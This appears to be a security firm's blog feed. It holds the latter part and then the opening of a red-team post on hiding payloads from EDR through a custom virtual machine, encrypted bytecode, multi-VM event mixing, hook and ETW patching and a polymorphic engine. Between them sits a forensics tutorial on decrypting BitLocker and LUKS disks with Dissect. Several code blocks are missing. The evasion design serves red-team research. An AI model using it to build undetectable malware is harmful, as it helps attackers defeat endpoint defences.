At its core, an instruction identifies the operation that must be performed, and optionally what data is provided in the form of operands. An operand can be one of three types:

  1. Immediate value: a constant value embedded in the instruction;
  2. Memory location: a memory location pointed to by the instruction;
  3. Register: a register, or part of one, identified by the instruction.

In order to obtain data from an operand, a generic format must be created that encompasses the different operand types. It was decided that a single 64-bit field could be used to hold the different types of operands, as all of the necessary data of the aforementioned types can be embedded into 64 bits.

The structures below show the layout of each operand type:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct ImmediateOperand {
Value value; // A constant value
}; // size: 8 bytes
struct MemoryOperand {
uint8_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint8_t base; // A regiser holding a pointer value to the base address
uint8_t index; // A register holding the index of the array
uint8_t scale; // A constant multiplier of 1, 2, 4, or 8
int32_t displacement; // A value to be added to the calculated address
}; // size: 8 bytes
struct RegisterOperand {
uint8_t reg; // A base register of the x86-64 register set
uint8_t chunk; // The specific register chunk: low, high, word, dword, qword
uint16_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint32_t pad; // Padding to meet the 64 bit size requirement
}; // size: 8 bytes
union Operand {
ImmediateOperand imm; // View the data as an immediate operand
MemoryOperand mem; // View the data as a memory operand
RegisterOperand reg; // View the data as a register operand
}; // size: 8 bytes
view raw operand.h hosted with ❤ by GitHub

Note: The Value type of the immediate operand is a simple union with (u)int8_t to (u)int64_t members. This makes it trivial to index the correct data during implementation of opcodes.

To indicate the instruction’s opcode, a single 1-byte value can be used. This provides 256 unique opcodes, which should be enough to implement basic behavior. Lastly, the type of each operand must be embedded within the instruction format, as opcode implementations must be able to interrogate these types.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Instruction {
uint8_t opcode; // The opcode of the instruction
uint8_t lparam_type : 4; // The type of the first (left) operand
uint8_t rparam_type : 4; // The type of the second (right) operand
Operand lparam; // The first (left) operand
Operand rparam; // The second (right) operand
}; // size: 18 bytes
view raw instruction.h hosted with ❤ by GitHub

Protecting Instructions

To meet requirement two, “Instructions are hidden before and after execution”, instructions are protected using encryption. Many encryption algorithms can be used to hide instructions. However, it is required for the instruction size to remain the same, as the instruction will be decrypted and encrypted in-place and will not be moved to a temporary buffer. This removes the necessity for dynamic memory allocation from within the virtual machine. Additionally, the chosen encryption scheme must be trivial to implement, as the code will be located in the virtual machine and thus create an ‘attack surface’ for signature detection. Implementing complex algorithms is detrimental to the ability to effectively manipulate the code using a polymorphic engine.

The Anatomy of the Virtual Machine

The virtual machine resembles a virtual CPU, implementing all the available opcodes. Furthermore, the available registers, CPU flags, and stack are part of the virtual machine object. Lastly, the virtual machine holds a pointer to the bytecode buffer necessary for execution. An added benefit of implementing the virtual machine is that the real stack is also abstracted away. Heuristics that attempt to spot malicious behavior from the stack will not succeed.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Context {
uint32_t ip; // Instruction pointer
uint8_t flags; // CPU flags to be manipulated by opcodes
Register registers[17]; // General Purpose Registers (rax, … r15 and gs)
Instruction* instructions; // A pointer to the start of the bytecode buffer
uint8_t stack[STACK_SIZE]; // The virtual machine stack
};
view raw context.h hosted with ❤ by GitHub

Functions to initialize the virtual machine context, to obtain the current instruction, and to load and store values based on the instruction operands were created to aid in the implementation of opcodes within the virtual machine.

Once initialized, the virtual machine can enter its dispatch loop. This loop consists of obtaining the current instruction and executing the opcode identified by the opcode field in the instruction object. The instruction is decrypted before execution and is encrypted after. A dispatch function could be implemented as follows:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void dispatch_instruction(Context* vm) {
uint32_t ip = vm->ip;
decrypt_instruction(vm, ip);
switch (vm->instructions[ip].opcode) {
case Opcode::ADD: opcode_add(vm); next_instruction(vm); break;
case Opcode::AND: opcode_and(vm); next_instruction(vm); break;
case Opcode::BT: opcode_bt(vm); next_instruction(vm); break;
}
encrypt_instruction(vm, ip);
}
view raw dispatch.cpp hosted with ❤ by GitHub

An attentive reader may have noticed the construction of the temporary variable ip, which is used in further operations. This originates from the fact that any instructions modifying the instruction pointer, like jcc, call, and ret, will result in a modified instruction pointer when the opcode is finished. Therefore, the instruction pointer can no longer be used to re-encrypt the original instruction that was executed.

Implementation of a Basic Opcode

The following function implements the bit test (bt) opcode11:

Improving the Bytecode Process: Transpiling

Initially, all bytecode created to execute in the virtual environment was written in assembly by hand. This provided the control needed to make sure specific opcodes and operand types were used, and as a test a PE loader was implemented in bytecode. As this limitation came at a major cost in development time and flexibility, a new method of generating bytecode was used: compiling and transpiling of C/C++ programs. This was chosen over using output directly from the assembler, as parsing these text files proved to be cumbersome and error-prone. Instead, the resulting linked binary was fed to a disassembler.

The disassembling of a binary is performed using the iced-x86 library12. This library allows for the conversion of x86 instructions to the custom format -described in the earlier section: The Anatomy of an Instruction– by checking the opcode of the instruction, the types of operand(s) and its value(s). Eventually, once all the x86 instructions are converted, the now transpiled bytecode can be interpreted by the virtual machine.

The bytecode generation process from source code to eventual bytecode.

The implementation of the transpiler instantly enabled us to support a large amount of existing tools, and made writing new tools easier. Most Position-independent Code (PIC)13 tools that compile from C/C++, including some BOFs14, can also be ported to execute on the virtual machine with relative ease.

Limitations to Bytecode Implementation

One of the limitations of the virtual machine implementation is shared with that of the bytecode. PIC must be created in order to generate valid bytecode that executes on the VM. In practice, this means that everything is relative to the current instruction pointer, and no references to other libraries or parts of other sections can exist:

  • No static variables;
  • No global variables;
  • No strings;
  • No static dependencies on libraries.

Supporting Native API Calls

To allow interfacing with the OS layer, bytecode must be able to perform native API calls. A translation layer must exist between the bytecode and native environment. The call instruction is used by compilers to invoke APIs, requiring the virtual machine’s call implementation to support this translation. Unfortunately, once a call instruction is encountered, no information is known to the virtual machine related to the number of arguments that must be forwarded. To resolve this problem, the bytecode can prepend the number of arguments when calling an API, giving the virtual machine layer enough information to translate the call into native execution. To programmatically perform this task, variadic arguments in C++ templates can be used to automatically deduce the amount of arguments passed:

As specified in Microsoft’s x64 __stdcall15 calling convention, the first four integer or pointer arguments are passed using the registers rcx, rdx, r8 and r9, with the remaining arguments being passed on the stack. This means that at the time of executing the call instruction, rcx holds the number of arguments that must be passed to the API. The virtual machine can extract and inspect this value, and use it to correctly perform the call:

The real values of the arguments are stored in rdx, r8, r9 and on the stack. When extracting the arguments from the stack, one must remember to keep the shadow space16 in mind.

Visually, the process looks like this:

A virtualized call instruction invokes ntdll!NtAllocateVirtualMemory. This call is translated to a native call and the API is invoked. The resulting value is returned to the VM.

Supporting Bytecode Function Callbacks

Keeping in mind the porting of existing programs to the bytecode architecture, one cannot omit the support for function callbacks within code. Take for example a simple linked list implementation, with a list_search function taking a predicate callback:

However, a problem arises: how does the virtual machine differentiate between a normal bytecode function call, a native API call, and a function callback? The difference between the first two is clear: the bytecode function call is a call to an address within the bytecode and is known at compile time, where the API call is a dynamic call, meaning a call to a function pointer stored in a register or memory location. Given that a callback within bytecode is a dynamic call, too, the virtual machine must be provided with information about the type of call being made.

To load a function pointer as an argument, a lea17 instruction is generated with its right operand referencing a memory address. This referenced memory address uses the instruction pointer (rip) register as the base field of the memory operand. When transpiling, such cases can be identified. To store this information, a new type of operand can be added to the already existing three types -listed in “The Anatomy of an Instruction”– (e.g. Function). When the virtual machine executes the lea instruction, it can check for the type of operand. If this operand’s type is Function, a tag can be added to the high 32 bits of the value, for example 0xDEADBEEF.

Once the call instruction is invoked, the value of the operand can be interrogated. If this value contains the previously added tag, a callback is requested. To perform the call, the tag is stripped from the value and the instruction pointer can be set accordingly.

Supporting User-Defined Arguments

Depending on the type of program that is executing, user-defined arguments are required. Take for example a program that simply sleeps for a period of time. How long should this program sleep for? Hardcoding these values is not always an option. Early on in the development of the project, a simple data structure was defined which could be provided to the bytecode’s entry point:

Accompanying this, each bytecode project contained a script that packaged data in a way that could be understood by the bytecode. However, there was no consistency between these scripts and the method of extraction. For example, extracting two 4-byte integers is simpler than extracting two strings due to their variable size.

To standardize this process, and to include it into the building step itself instead of running a random script, a key-value solution was created in combination with an API that can interrogate the type and value of each argument. This is different from parameter packing that Cobalt Strike uses in its BOFs18, as default arguments, or arguments that are not strictly required are supported. Additionally, each argument is encrypted separately. This allows for a PE packer to extract domain-keying information before extracting the PE data.

The following API is defined:

The signature of the bytecode’s entry point is updated to incorporate this change:

Supporting DLLs

Executables and DLLs are very similar in the way they look and in the way they execute. Both have an entry point to which execution is passed, and both return a value. However, the execution flow of an executable starts at the entry point, and does not reach its function’s end until the program stops. DLLs often perform very limited initialization within their entry point, and return execution to the loader to not lock the loader threads. Additionally, the entry point of the DLL is called more than once: on process startup and shutdown, and on thread creation and destruction. The reason for calling the entry point is passed by the loader in the second, dwReason, argument. This allows the code inside of the DllMain function to differentiate between the reasons the entry point was invoked, and can act accordingly.

To allow our shellcode to be embedded within DLLs, both the virtual machine and its bytecode must be made aware of the reason for invocation. This requires the entry point of the virtual machine and bytecode to match that of a DLL, automatically receiving the reason by the OS loader. This does not interfere with the entry point used by a normal executable, as the default entry point of any executable does not take any arguments directly, but instead the arguments argc and argv are resolved by the C runtime, which is not linked against.

On initialization, the virtual machine sets the bytecode’s rdx register to the value of its reason argument, passing the value to the entry point as the second argument. The programmer must decide if this value is to be inspected within the bytecode and should not use the value when writing bytecode to be embedded in an executable.

Deceiving Behavioral Analysis: Multi-VM Execution

Earlier, the method of detection based on behavior was discussed. This dynamic form of inspecting an application’s execution flow regardless of static patens is difficult for attackers to rid their malware of. Opening Lsass.exe and reading its memory could be marked as malicious, even if the process looks like calc.exe. Often, defensive products receive events by kernel callbacks, such as PsSetCreateProcessNotifyRoutine19 or PsSetLoadImageNotifyRoutine20, API/syscall hooks in the local process or by using Event Tracing for Windows (ETW)21 consumers.

Patching hooks in the local process along with local ETW functions that provide events is trivial. This rids the process of intrusive monitoring by antivirus or EDR solutions, and stops the process from creating events. However, some events are still generated, mostly by the ETW providers present in the kernel, along with the kernel callbacks. Additionally, events created during patching could still be monitored. Lastly, blinding defensive products could have a negative effect, as failure to receiving check-ins could be considered an error and a signal of malicious behavior by itself.

As an attacker, generating arbitrary events along with ones that might cause detection could be a method of thwarting dynamic detection rules based on behavior. Adding code to generate events in between regular instructions would require manipulation of source code, and is not preferred. Creating a new thread that generates random events could be in vain, as events are registered per unique thread in the process.

The virtual machine was extended to support vmcalls. These types of call instructions made by the bytecode notify the virtual machine layer that a task needs to be performed. Among multiple different supported calls, most noteworthy are the following:

  • vminit: Initialize the virtual machine object with bytecode and arguments
  • vmexec: Execute N cycles on the virtual machine

The combination of these two calls allows bytecode to create a new virtual machine, and execute a predetermined number of instructions:

Because both sets of bytecode execute within the same virtual machine, and therefore on the same thread, no distinction can be made between the origin of each event. The OS, and any event consumers will observe a single thread generating multiple events, both benign and possibly malicious. Most importantly for an attacker, this could break patterns of behavior being monitored for.

As an additional benefit of these added instructions, bytecode can now be obtained and executed at runtime. This proved to be an extremely useful feature during payload development, as instead of staging shellcode during Command and Control, bytecode can be provided. This removes the necessity for allocating executable memory regions (or changing memory protection at a later stage) to execute shellcode in, in turn removing the opportunity for defensive products to inspect buffers used for dynamic code execution often leveraged by attackers.

For example, the following behavior could be implemented to create a simple polling implant, requesting bytecode every 10 seconds:

Protecting the Virtual Machine

At this point, we have defeated most detection measures that we are aware of, and set out to defeat. However, the VM shares a fundamental weakness with the original packers: static patterns in the native-code VM. Throughout its development, the VM was kept as simple as possible, adhering to constraints set out to enable support for a polymorphic engine to be executed on the VM’s binary code. This made the development significantly more cumbersome, but, given a sufficiently strong polymorphic engine, does close the detection loop fully. The polymorphic engine we developed has been battle tested over several years of use against modern EDR, and antimalware. Despite the fact that the code of the engine was designed years ago, and has not significantly changed since, it still manages to mutate malicious code to the extent that it becomes undetected at runtime and scan time.

Due to the way the universe works, the engine cannot support arbitrary programs. The largest constraint is that dynamic control flow is not supported. This means that indirect function calls, indirect jumps and the ret instruction could all potentially break the mutated code. Our engine assumes you know what you’re doing, and won’t complain when such instructions are encountered, but the resulting code will likely not work as intended.

The polymorphic engine supports several different mutation techniques, including:

  • Instruction substitution: replacing instructions with semantically equivalent ones. For example: mov eax, 0 can be replaced with xor eax, eax;
  • Basic block reordering: changing the order of basic blocks in the code;
  • Basic block creation: inserting new basic blocks into the code, through jumps and push rets;
  • NOP instruction insertion: inserting NOP instructions to change the code’s layout.

The most important feature is that the output of the engine can be fed back into the engine again. This allows for multiple iterations of mutation, which leads to virtually incomprehensible disassembly. This is especially useful when the input is a small piece of code, like a shellcode loader. Sufficient numbers of mutation will double, or quadruple the size of the output, further muddying the waters for defenders.

Conclusion

Due to the ever-changing security landscape, both attackers and defenders must stay on their toes. Defensive security products continue to improve over time, making it more difficult for attackers to remain undetected, or even execute malicious code at all. Detection of payloads has shifted from static analysis to a combination of heuristics and signatures, rendering some tools obsolete.

In this blog post, we have described a tool that was written to tackle both static and dynamic analysis by way of virtualisation. This technique, along with employing a custom polymorphic engine attempts to evade these types of analysis by layers of obfuscation. To bypass heuristic analysis, support for multiple virtual machines to run concurrently was added, disrupting patterns in created events. As an added bonus, reverse engineering a sample without prior knowledge could be a daunting task. Analysts would have to reverse not only the morphed virtual machine itself, but extract morphed bytecode for further analysis. This does not remediate the issue of reverse engineering payloads for an attacker, but does significantly slow down the process, providing the attacker with more time.

In practice, this project has allowed attacks to remain undetected during Red Teaming and TIBER exercises in some of the most heavily monitored environments, making use of state of the art EDR solutions. Moreover, due to the addition of a transpiler converting compiled binaries into custom bytecode, both the speed and ease of development of custom payloads was greatly improved.

The following is a non-exhaustive list of payloads that were created during a recent Red Teaming exercise, successfully evading detection:

  • Multiple persistence modules;
  • Multiple lateral movement modules;
  • Shellcode and bytecode executor;
  • Antivirus and EDR patchers;
  • HTTP(s) and DNS beacons;
  • Tools querying Active Directory information.

Porting of additional tools is taking place, and we expect to have virtualized versions of most tools used in a Red Team exercise in the near future.

Looking Forward

The motivations for this blog post are two-fold. Firstly, we wanted to share what we think is exciting research with the community. We learned what we did from openly shared blog post and articles, and want to give back to the community. We use all the knowledge we gained to improve the security of our customers through offensive security testing, and we hope that this blog post will help and inspire others to do the same.

Secondly, although security products have advanced tremendously, we want to show that there is still room for improvement. We have noticed a tendency to “slap an EDR on it and call it a day” in certain niches of the security industry. Although that might work for some time, because a modern EDR truly adds a strong layer of security, the door is still open for attackers to bypass these products. As the landscape evolves, and general cyber security knowledge increases, the skill and sophistication of cyber criminal elements will rise. Consider this blog post, and the technique explained within, as a warning and a call to action. We hope security vendors will think about how they can detect these types of payloads, and how they can improve their products to stay ahead of the curve, as they are right now.

References

  •  

Decrypting Full Disk Encryption with Dissect

Author: Guus Beckers

Back in 2022 Fox-IT decided to open source its proprietary incident response tooling known as Dissect. Since then it has been adopted by many different companies in their regular workflow. For those of you who are not yet familiar with Dissect, it is an incident response framework built with incident response engagements of any scale in mind. It allows you to extract artifacts from a variety of data formats and export them to a format of your choosing. Ever since Dissect has been open sourced a large number of individuals and institutions have contributed to the Dissect framework, culminating in the first Dissect partner day earlier in 2024.  

One of the most popular requests has been the capability to use Dissect in combination with common disk encryption methods like Microsoft’s BitLocker or its Linux equivalent LUKS. Internally at Fox-IT we were able to already use these capabilities. With the release of Dissect version 3.17 these capabilities are now also available to the community at large.  

Of course, a blog post is not complete without a demo. In this scenario a data acquisition has been performed against a disk protected with BitLocker. We are interested in a specific file located on the user’s desktop. During this scenario, a virtual machine was created with VMware Fusion which uses the .vmwarevm file format. Dissect can parse this format thanks to its associated loader.

First, we use Dissect to examine the disk properties:  

$ target-info "Windows 11 x64.vmwarevm" -v                                                                                                                                               
2024-11-27T11:57:18.474060Z [error    ] Failed to open an encrypted volume <Volume name='Basic data partition' size=67921509888 fs=None> with volume manager bitlocker: Failed to unlock BDE volume [dissect.target.volume] 
2024-11-27T11:57:18.634092Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T11:57:19.416120Z [warning  ] <Target Windows 11 x64.vmwarevm>: Failed to find OS plugin, falling back to default [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
 
 
Hostname       : None 
Domain         : None 
Ips            : 
Os family      : default 
Os version     : None 
Architecture   : None 
Language       : 
Timezone       : None 
Install date   : 1970-01-01T00:00:00.000000+00:00 
Last activity  : None 

It seems the disk is encrypted, now we can use the latest version of BitLocker to decrypt the information.  Dissect supports three different types of decryption capabilities. An analyst can either use the user’s passphrase, the recovery key or can use a BitLocker file. Please check the updated documentation on the Dissect Docs page for more information.  For now we have created a keychain CSV file with the following information:  

$ cat keychain.csv 
bitlocker,recovery_key,,395791-328042-677721-279895-554466-214599-232023-709148 

We can use Dissect’s commands like target-info to check if the keychain works: 

$ target-info "Windows 11 x64.vmwarevm" -K keychain.csv                                                                                                                                     
2024-11-27T10:18:01.698079Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T10:18:02.731474Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SECURITY [dissect.target.target] 
2024-11-27T10:18:02.737980Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SYSTEM [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
- <Volume name="Basic data partition" size="67921509888" fs="NtfsFilesystem"> 
 
 
Hostname       : SECRETDATAVM 
Domain         : None 
Ips            : 192.168.212.129 
Os family      : windows 
Os version     : Windows 11 Pro (NT 10.0) 26100.2314 
Architecture   : amd64-win64 
Language       : en_GB, en_NL, en_US 
Timezone       : Europe/Berlin 
Install date   : 2024-11-27T17:34:07.000000+00:00 
Last activity  : 2024-11-27T17:33:31.670376+00:00 

Alternatively, we can pass the recovery key value directly like this: 

$ target-info "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -v

Now we can browse through the decrypted filesystem and view the file on the user’s desktop: 

$ target-shell "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -q
                                                                                       
SECRETDATAVM:/$ cat c:/Users/Staff/Desktop/SuperSecretFile.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

As you can imagine this also works with Linux in the exact same manner.  This time we use a LUKS passphrase in conjunction with Dissect:

$ target-info "Ubuntu 64-bit 24.04.1.vmwarevm" -Kv glad-design-paper-airplane                                                                                                                          
2024-11-27T11:48:07.224355Z [warning  ] Failed to decode raw key as hex, ignoring: glad-design-paper-airplane [dissect.target.helpers.keychain] 
2024-11-27T11:48:08.910029Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
2024-11-27T11:48:09.826056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 
<Target Ubuntu 64-bit 24.04.1.vmwarevm> 
2024-11-27T11:48:13.916382Z [warning  ] No timestamp found in one of the lines in /var/log/syslog! [dissect.target.helpers.utils] 
2024-11-27T11:48:13.925913Z [warning  ] Timestamp '27 2024 12:40:57' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936096Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936416Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.944841Z [warning  ] Timestamp 'Nov 2024 11:40:15' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.950083Z [warning  ] Timestamp 'Nov 2024 11:40:11' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.985809Z [warning  ] Timestamp 'Nov 2024 11:40:04' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:14.037897Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.037992Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.038056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
 
Disks 
- <Disk type="VmdkContainer" size="21474836480"> 
 
Volumes 
- <Volume name="part_00100000" size="1048064" fs="NoneType"> 
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem"> 
- <Volume name="part_71800000" size="19569573376" fs="NoneType"> 
- <Volume name="part_71800000" size="19552796160" fs="NoneType"> 
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">
 
Hostname       : personnel-VMware-Virtual-Platform 
Domain         : None 
Ips            : 
Os family      : linux 
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat) 
Architecture   : x86_64-linux 
Language       : en_US, en_US 
Timezone       : Europe/Amsterdam 
Install date   : 2024-11-27T11:33:29.665213+00:00 
Last activity  : 2024-11-27T11:45:34.821181+00:00 

We can use the same technique to extract another file from the Ubuntu desktop: 

$ target-shell "Ubuntu 64-bit 24.04.1.vmwarevm" -K keychain.csv -v                                                                                                                           
2024-11-27T11:59:52.227142Z [info     ] Registered key Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:52.227562Z [info     ] Registered key Key(key_type=<KeyType.RECOVERY_KEY: 'recovery_key'>, value='395791-328042-677721-279895-554466-214599-232023-709148', provider='bitlocker', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:53.719915Z [info     ] Volume <Volume name='part_71800000' size=19569573376 fs=None> unlocked with Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) (keyslot: 0) [dissect.target.volumes.luks] 
2024-11-27T11:59:53.922164Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
2024-11-27T11:59:54.733524Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: DebianPlugin [dissect.target.target] 
2024-11-27T11:59:54.770648Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: LinuxPlugin [dissect.target.target] 
2024-11-27T11:59:54.791479Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: UnixPlugin [dissect.target.target] 
2024-11-27T11:59:54.802888Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 

personnel-VMware-Virtual-Platform:/$ cat /home/personnel/Desktop/secretLinuxfile 
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

Last but not least, Dissect also contains the fve-dd utility.  fve-dd can be used to decrypt an entire disk which allows a wider range of external tools to be used. fve-dd works on any supported Dissect containers. The individual VMDK files can be extracted from the .vmwarevm container:

$ ls                                                                                                                                                                                           
Virtual Disk-s001.vmdk Virtual Disk-s002.vmdk Virtual Disk-s003.vmdk Virtual Disk-s004.vmdk Virtual Disk-s005.vmdk Virtual Disk-s006.vmdk Virtual Disk.vmdk

Now the disk can be decrypted using fve-dd. The decryption can take some time depending on the size of the disk:

$ fve-dd -p glad-design-paper-airplane -o decrypted.dd "Virtual Disk.vmdk" -v

Dissect and other tools can be used on the decrypted disk:

$ target-info decrypted.dd                                                                                                                                                                     
[…]

Disks
- <Disk type="RawContainer" size="21458059264">

Volumes
- <Volume name="part_00100000" size="1048064" fs="NoneType">
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem">
- <Volume name="part_71800000" size="19569573376" fs="NoneType">
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">

Hostname       : personnel-VMware-Virtual-Platform
Domain         : None
Ips            :
Os family      : linux
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat)
Architecture   : x86_64-linux
Language       : en_US, en_US
Timezone       : Europe/Amsterdam
Install date   : 2024-11-27T11:33:29.665213+00:00
Last activity  : 2024-11-27T11:45:34.821181+00:00

Have fun with the latest version of Dissect!  

  •  

Red Teaming in the age of EDR: Evasion of Endpoint Detection Through Malware Virtualisation

Authors: Boudewijn Meijer && Rick Veldhoven

Introduction

As defensive security products improve, attackers must refine their craft. Gone are the days of executing malicious binaries from disk, especially ones well known to antivirus and Endpoint Detection and Reponse (EDR) vendors. Now, attackers focus on in-memory payload execution for both native and managed applications to evade defensive products. Meanwhile, defensive technologies are becoming increasingly sophisticated, which is forcing attackers to further adapt. In times of such an arms race, how does an attacker stay ahead? And how can malware be future-proofed to evade the sophisticated EDR systems that currently exist and are actively being developed?

This blog post reviews the evolution of one of Fox-IT’s evasive tools, designed to aid in payload delivery during Red Teaming engagements. We will touch on the tool’s history and its future potential in the face of offensive and defensive progress.

Historical Perspective

The core of the arms race between malware and antimalware is as follows: antimalware must classify arbitrary programs, in memory or at-rest, as either benign or malicious while operating under a set of constraints. The products are constrained by the amount of performance a user or customer is prepared to surrender in terms of CPU time, memory or bandwidth while the classification takes place, and by how many false-positives the product generates. If the product is too resource intensive, a customer will complain it is slow. If it quarantines important documents, it potentially does more harm than good. These constraints shape and limit each step in the evolution of antimalware products. Not only AV vendors need to worry about performance when writing tools. Malware authors need to take execution speed, or other system changes, into account when deploying malware. Take for example the recently uncovered XZ1 backdoor that was spotted by a software engineer due to an increase in login time from 0.2 to 0.8 seconds. Had the authors of this piece of code not observably changed the behavior of the system, the backdoor would have likely been deployed successfully.

Since the early days of viruses circulating on floppy disks, writing undetected malware has been a cat-and-mouse game between attackers and defenders. Originally, antivirus software focused strictly on true-positive detection of viruses on the basis of signatures and patterns in a program’s instructions. Absent a mistake in the signature database, a unique signature match guarantees a true-positive match of a malicious sample after which the malicious file can be removed or quarantined. This method of detection strongly adheres to the constraints placed on antimalware products, because simple pattern matches are performant and true-positive detection is almost guaranteed.

For malware authors, the solution was simple: to evade detection, the virus must be made impossible to detect through a unique pattern. This may be achieved by changing the code, or by encrypting the code and decrypting it at runtime. If you automate this, you get what is called a packer: a tool that encrypts, compresses or otherwise changes a virus to evade detection. A packer changes the majority of the code in the virus and adds a stub to the code. This stub is often the first piece of code that is executed when the program is launched. Its job is to undo all changes previously made to the original code (e.g. compression or encryption). After all changes are reverted, execution will be passed to the original code. This stub can also make use of anti-reversing/anti-tampering code that attempts to protect the original code from prying eyes.

This reduces the amount of “attack surface” for signature creation for samples that are on the disk or otherwise stored at rest. This method is also used to compress binaries for distribution, allowing for smaller release packages. Therefore, not all compressed binaries can be marked as malicious.

However, even very small unpacker stubs may match a signature that can be uniquely tied to the packer itself. Combining this signature with some rules related to the amount of entropy in a file, a packer can still be detected with a high degree of accuracy. At this point, the antimalware solution has evolved to utilize metadata about a file, such as entropy, obtaining the ability to detect packed files but at the cost of a higher false-positive rate.

